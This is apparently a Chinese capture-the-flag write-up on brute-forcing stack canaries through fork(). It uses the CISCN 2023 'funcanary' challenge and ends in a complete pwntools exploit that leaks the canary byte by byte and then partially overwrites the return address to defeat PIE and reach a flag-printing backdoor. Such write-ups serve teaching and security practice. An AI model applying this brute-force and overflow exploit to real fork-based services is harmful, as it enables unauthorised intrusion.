前言#
一种强行泄露出canary的办法 不是很喜欢这类题目 主要是爆破canary的时间比较久 如果后面的脚本有问题 就得重新跑 比较烦人
原理#
原理主要来关注一下fork函数
fork函数利用系统调用创建了一个子进程 这个子进程的终止与否都不会影响到父进程 系统会给子进程分配代码空间和存储数据 大部分和父进程是一样的
关键的canary也和父进程是一样的 由于子进程的终止不会影响到父进程 所以 如果子进程由于canary不对而触发__stack_chk_fali函数
子进程自己是终止了 但是父进程依然存在 所以可以利用这一点逐个字节爆破canary 如果最后不报错 就说明canary爆破成功 就可以进行栈溢出了
实例#
Ciscn2023 funcanary#

保护机制全开 64位
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){ __pid_t v3; // [rsp+Ch] [rbp-4h]
sub_1243(a1, a2, a3); while ( 1 ) { v3 = fork(); if ( v3 < 0 ) break; if ( v3 ) { wait(0LL); } else { puts("welcome"); sub_128A(); puts("have fun"); } } puts("fork error"); exit(0);}while嵌套了主要的逻辑 每次都fork出一个子进程 随后进入sub_128A执行操作 跟进一下
unsigned __int64 sub_128A(){ char buf[104]; // [rsp+0h] [rbp-70h] BYREF unsigned __int64 v2; // [rsp+68h] [rbp-8h]
v2 = __readfsqword(0x28u); read(0, buf, 0x80uLL); return v2 - __readfsqword(0x28u);}拥有栈溢出的机会 同时还有一个后门函数
int sub_1228(){ return system("/bin/cat flag");}那么就是利用fork函数爆破出canary 随后就是栈溢出劫持程序执行流 但是由于开启了pie 所以还得再爆破一位 才能进入后门函数
完整exp:
from pwn import*from ctypes import *#io = process("./pwn")io = remote("39.105.26.155",38646)elf = ELF("./pwn")context.terminal = ['tmux','splitw','-h']libc = ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.arch = "amd64"context.log_level = "debug"def debug(): gdb.attach(io) pause()
io.recvuntil("welcome")canary = b'\x00'for j in range(7):
for i in range(0x100):
io.send(cyclic(0x68) + canary + i.to_bytes(1,'little'))
a = io.recvuntil('welcome\n')
if b'have fun' in a:
canary += i.to_bytes(1,'little')
breakpayload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x02'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x12'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x22'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x32'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x42'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x52'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x62'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x72'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x82'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\x92'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xa2'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xb2'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xc2'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xd2'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xe2'io.send(payload)payload = cyclic(0x68)+canary+cyclic(0x8)+b'\x28\xf2'io.send(payload)io.interactive()